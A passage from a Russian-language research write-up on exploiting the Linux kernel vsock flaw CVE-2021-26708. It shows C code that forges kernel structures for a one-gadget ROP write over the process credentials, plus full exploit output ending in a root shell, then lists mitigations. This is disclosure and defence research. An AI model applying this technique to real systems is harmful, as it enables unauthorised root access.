    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

Структура skb_shared_info располагается в данных для heap spraying по отступу SKB_SHINFO_OFFSET, который составляет 3776 байт. Указатель skb_shared_info.destructor_arg должен хранить адрес структуры ubuf_info. Я создаю поддельную структуру ubuf_info по отступу MY_UINFO_OFFSET в самом сетевом пакете. Это возможно за счет того, что мне известен ядерный адрес атакуемого объекта sk_buff. Содержимое перезаписанного sk_buff изображено на следующей схеме.


А теперь рассмотрим, на что указывает destructor_arg:

    /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Как можно видеть, я придумал очень странный эксплойт-примитив для произвольной записи ядерной памяти. Все дело в том, что в образе ядра vmlinuz-5.10.11-200.fc33.x86_64 не нашлось ROP-гаджета, который мог бы переключить ядерный стек на контролируемую область памяти и при этом удовлетворял бы всем ограничениям при перехвате потока управления через skb_shared_info. Поэтому я нашел способ выполнить произвольную запись с одного гаджета «в один выстрел». :)


В указатель на функцию callback записан адрес ROP-гаджета. В регистре RDI содержится первый аргумент функции callback, а именно адрес самой структуры ubuf_info. Значит, RDI + 8 — это адрес поля ubuf_info.desc данной структуры. Гаджет копирует значение ubuf_info.desc в регистр RDX. В результате RDX содержит адрес, по которому в памяти ядра расположены effective user ID и effective group ID, причем из этого адреса вычитается один байт. Этот байт очень важен: когда ROP-гаджет записывает число 0x0000000000000001 из регистра RSI по адресу из RDX, то единица не должна попасть в EUID и EGID, они должны быть перезаписаны нулем для поднятия привилегий.

Затем эксплойт повторяет ту же процедуру для перезаписи UID и GID. Привилегии в системе повышены, эксплойт теперь выполняется от пользователя root. Это победа.

Вывод эксплойта, который демонстрирует всю процедуру эксплуатации уязвимости CVE-2021-26708:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
	save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
	save msg_msg ffff9125c25a4640 in msq 12 in slot 1
	save msg_msg ffff9125c25a4780 in msq 22 in slot 2
	save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
	kaddr for arb free: ffff9125c25a4d00
	kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
	msg_ptr 0x7f0d91120fd8
	m_type 1337 at 0x7f0d91120fe8
	m_ts 6096 at 0x7f0d91120ff0
	msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
	kaddr for arb free: ffff9125c25a4640
	kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
	msg_ptr 0x7f0d91120fd8
	m_type 1337 at 0x7f0d91120fe8
	m_ts 6096 at 0x7f0d91120ff0
	msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
	start at 0x7f0d91120004
	skb_shared_info at 0x7f0d91120ec4
	tx_flags 0x8
	destructor_arg 0xffff9125c42fa100
	callback 0xffffffffab64f6d4
	desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Возможные средства предотвращения атаки

Существует ряд технологий, которые могли бы предотвратить эксплуатацию уязвимости CVE-2021-26708 в ядре Linux или хотя бы сделать ее более трудной.

  1. Эксплуатация данной уязвимости невозможна, если ядро Linux использует карантин для своей динамической памяти, так как ошибочная перезапись освобожденной памяти происходит через очень короткое время после состояния гонки. Историю о моем прототипе SLAB_QUARANTINE можно прочесть в отдельной статье.

  2. Технология MODHARDEN из патча grsecurity предотвращает автоматическую загрузку модулей ядра в результате действий непривилегированных пользователей.

  3. Запись нуля в файл /proc/sys/vm/unprivileged_userfaultfd блокирует описанный метод фиксации данных атакующего в пространстве ядра. Эта настройка запрещает работу с userfaultfd() непривилегированным пользователям без SYS_CAP_PTRACE.

  4. Запись 1 в sysctl kernel.dmesg_restrict блокирует утечку информации через ядерный журнал. Эта настройка не дает непривилегированным пользователям читать его с помощью команды dmesg.

  5. Контроль потока управления (Control Flow Integrity, CFI) мог бы помешать мне вызвать ROP-гаджет. Технологии такого класса, доступные для ядра Linux, можно найти в моей карте средств защиты ядра (Linux Kernel Defence Map).

  6. С версии 5.13 ядро Linux поддерживает аппаратную технологию ARM Memory Tagging Extension (MTE), которая способна обнаружить использование памяти после освобождения.

  7. Совсем недавно компания grsecurity опубликовала описание технологии AUTOSLAB. С ней ядро Linux выделяет память для своих объектов в отдельных кэшах аллокатора, созданных под каждый тип объекта. Это ломает технику heap spraying, которую я использую в прототипе эксплойта.

  8. Кейс Кук отметил, что запись 1 в sysctl panic_on_warn помешала бы моей атаке. Действительно, это превращает возможное повышение привилегий в ошибку отказа в обслуживании. К слову, я не рекомендую включать panic_on_warn или CONFIG_PANIC_ON_OOPS на системах в промышленной эксплуатации, потому что это создает высокий риск отказа системы. Предупреждение ядра или oops — не такая редкая ситуация. Больше подробностей можно найти в документации моего проекта kconfig-hardened-check.

Заключение

Исследование и исправление уязвимости CVE-2021-26708 в ядре Linux, а также разработка прототипа эксплойта для нее были интересной и при этом тяжелой работой.

Я смог превратить состояние гонки с небольшой ошибкой доступа к памяти в полноценное повышение привилегий на Fedora 33 Server для архитектуры x86_64, обойдя при этом аппаратные средства защиты SMEP и SMAP. В ходе этого исследования мне также удалось разработать несколько новых техник для эксплуатации уязвимостей в ядре Linux.


Уверен, что публикация этой статьи полезна для сообщества разработчиков ядра Linux. Взгляд на систему со стороны атакующего помогает улучшать средства защиты. И спасибо компании Positive Technologies за возможность сделать это исследование.